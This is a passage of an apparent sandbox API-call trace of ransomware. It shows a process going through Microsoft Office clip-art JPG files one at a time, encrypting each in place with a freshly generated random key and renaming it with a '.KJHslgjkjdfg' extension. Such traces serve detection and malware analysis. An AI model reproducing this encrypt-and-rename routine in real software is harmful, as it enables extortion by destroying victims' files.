lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.061] SetEndOfFile (hFile=0x130) returned 1 [0214.064] GetProcessHeap () returned 0x2ef0000 [0214.064] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.064] GetProcessHeap () returned 0x2ef0000 [0214.064] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.064] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.kjhslgjkjdfg")) returned 1 [0214.066] CloseHandle (hObject=0x130) returned 1 [0214.066] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0214.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.067] GetProcessHeap () returned 0x2ef0000 [0214.067] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.067] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.067] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0214.070] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.070] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.070] GetProcessHeap () returned 0x2ef0000 [0214.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.070] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.070] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.070] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.070] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.070] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.071] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.071] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.071] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.071] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.071] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14033, lpOverlapped=0x0) returned 1 [0214.075] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14040, dwBufLen=0x14040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14040) returned 1 [0214.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.076] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14040, lpOverlapped=0x0) returned 1 [0214.076] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.076] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.076] SetEndOfFile (hFile=0x130) returned 1 [0214.080] GetProcessHeap () returned 0x2ef0000 [0214.080] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.080] GetProcessHeap () returned 0x2ef0000 [0214.080] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.kjhslgjkjdfg")) returned 1 [0214.081] CloseHandle (hObject=0x130) returned 1 [0214.081] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0214.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.082] GetProcessHeap () returned 0x2ef0000 [0214.083] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.083] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.083] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0214.085] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.085] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.085] GetProcessHeap () returned 0x2ef0000 [0214.085] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.085] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.085] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.086] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.086] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.086] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.086] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.087] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd8f6, lpOverlapped=0x0) returned 1 [0214.089] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd900, dwBufLen=0xd900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd900) returned 1 [0214.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.090] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd900, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd900, lpOverlapped=0x0) returned 1 [0214.090] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.090] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.090] SetEndOfFile (hFile=0x130) returned 1 [0214.093] GetProcessHeap () returned 0x2ef0000 [0214.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.093] GetProcessHeap () returned 0x2ef0000 [0214.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.kjhslgjkjdfg")) returned 1 [0214.095] CloseHandle (hObject=0x130) returned 1 [0214.095] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0214.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.097] GetProcessHeap () returned 0x2ef0000 [0214.098] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.098] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.098] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.098] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.098] GetProcessHeap () returned 0x2ef0000 [0214.098] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.098] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.098] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.098] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.101] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.101] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.101] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.102] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.102] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.102] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.102] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11780, lpOverlapped=0x0) returned 1 [0214.104] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11780, dwBufLen=0x11780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11780) returned 1 [0214.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.105] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11780, lpOverlapped=0x0) returned 1 [0214.105] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x11854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.105] SetEndOfFile (hFile=0x130) returned 1 [0214.109] GetProcessHeap () returned 0x2ef0000 [0214.109] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.109] GetProcessHeap () returned 0x2ef0000 [0214.109] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.109] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.kjhslgjkjdfg")) returned 1 [0214.111] CloseHandle (hObject=0x130) returned 1 [0214.111] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0214.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.112] GetProcessHeap () returned 0x2ef0000 [0214.112] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.112] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.112] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0214.115] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.115] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.115] GetProcessHeap () returned 0x2ef0000 [0214.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.115] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.115] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.115] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.115] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.116] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.116] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.116] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.116] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.116] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x787a, lpOverlapped=0x0) returned 1 [0214.117] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7880, dwBufLen=0x7880 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7880) returned 1 [0214.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.118] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7880, lpOverlapped=0x0) returned 1 [0214.118] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.118] SetEndOfFile (hFile=0x130) returned 1 [0214.121] GetProcessHeap () returned 0x2ef0000 [0214.121] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.121] GetProcessHeap () returned 0x2ef0000 [0214.121] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.121] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.kjhslgjkjdfg")) returned 1 [0214.123] CloseHandle (hObject=0x130) returned 1 [0214.123] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, 